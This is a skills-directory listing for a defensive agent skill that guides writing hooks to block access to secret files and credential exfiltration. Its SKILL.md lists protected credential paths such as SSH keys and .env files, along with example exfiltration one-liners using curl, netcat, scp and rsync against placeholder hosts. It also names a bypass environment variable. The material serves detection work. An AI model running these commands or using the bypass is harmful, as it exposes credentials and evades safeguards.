Skip to content
Back to skills

Hook Protect Secrets

FSecurity

Pattern guide for writing PreToolUse hooks that block secret file access, credential exfiltration, and environment variable dumps. Use when: auditing token-scope-guard.sh, adding new sensitive file patterns, reviewing what secret paths are protected. Covers 33 file patterns + 24 bash patterns + 15 exfiltration patterns. Inspired by: karanb192/claude-code-hooks protect-secrets pattern (MIT).

  • 10 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 9, 2026
ai-agentsgobashdockeraws

Security analysis

F38/100
  • criticalReads or references SSH private keys
  • criticalReads or references SSH private keys
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study

Pro shows the line behind each finding and how to fix it

Scanned September 9, 2026

npx -y skills add yanacuti1121/Yana-AI --skill hook-protect-secrets --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Hook Protect Secrets?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Hook Protect Secrets
[![Security: F — Skills Directory](https://www.skillsdirectory.com/api/skills/yanacuti1121-hook-protect-secrets/badge)](https://www.skillsdirectory.com/skills/yanacuti1121-hook-protect-secrets)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: "hook-protect-secrets"
description: "Pattern guide for writing PreToolUse hooks that block secret file access, credential exfiltration, and environment variable dumps. Use when: auditing token-scope-guard.sh, adding new sensitive file patterns, reviewing what secret paths are protected. Covers 33 file patterns + 24 bash patterns + 15 exfiltration patterns. Inspired by: karanb192/claude-code-hooks protect-secrets pattern (MIT)."
---

# Hook Protect Secrets Pattern

## When to trigger

- "what files does token-scope-guard protect?"
- "add secret pattern", "protect this file"
- "secret access hook", "credential guard"
- Auditing `core/hooks/token-scope-guard.sh`

## Protected file categories (33 patterns)

### SSH & credentials
- `.ssh/id_*`, `.ssh/id_rsa`, `.ssh/id_ed25519`
- `.aws/credentials`, `.aws/config`
- `.netrc`, `.npmrc`, `.pypirc`

### Environment & config
- `.env` (but NOT `.env.example`, `.env.sample`, `.env.template`)
- `.vault-token`, `.pgpass`, `.my.cnf`
- `.kube/config`, `.docker/config.json`

### Service accounts & tokens
- `*service-account*.json`, `*credentials*.json`
- `*token*.json`, `*secret*.json`

## Bash patterns that expose secrets (24 patterns)

```bash
cat .env          # reading env file
echo $AWS_*       # echoing cloud credentials
env | grep KEY    # dumping env vars with key
source .env       # sourcing env file
printenv          # full env dump
```

## Exfiltration patterns (15 patterns)

```bash
curl -d @.env https://...     # uploading secret files
scp .env user@remote:         # copying via scp
nc <IP> < .env                # netcat exfil
rsync .env remote:            # rsync exfil
```

## Safe files (always allow)

```
.env.example
.env.sample
.env.template
.env.test
```

## Hook exit codes

```bash
exit 0  → allow (reads/writes that are safe)
exit 2  → block (JSON with blocked path + reason)
```

## Adding new patterns to token-scope-guard.sh

1. Identify type: file path / bash command / exfiltration
2. Write regex — be specific to avoid false positives
3. Add allow-list exception if needed (e.g. `.env.example`)
4. Add test to `core/tests/hooks/run-hook-tests.sh`
5. Update hook `# Last Reviewed:` date

## Reference

YAMTAM hook: `core/hooks/token-scope-guard.sh`
Bypass: `YAMTAM_SCOPE_OK=1`
Tests: `core/tests/hooks/run-hook-tests.sh`

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.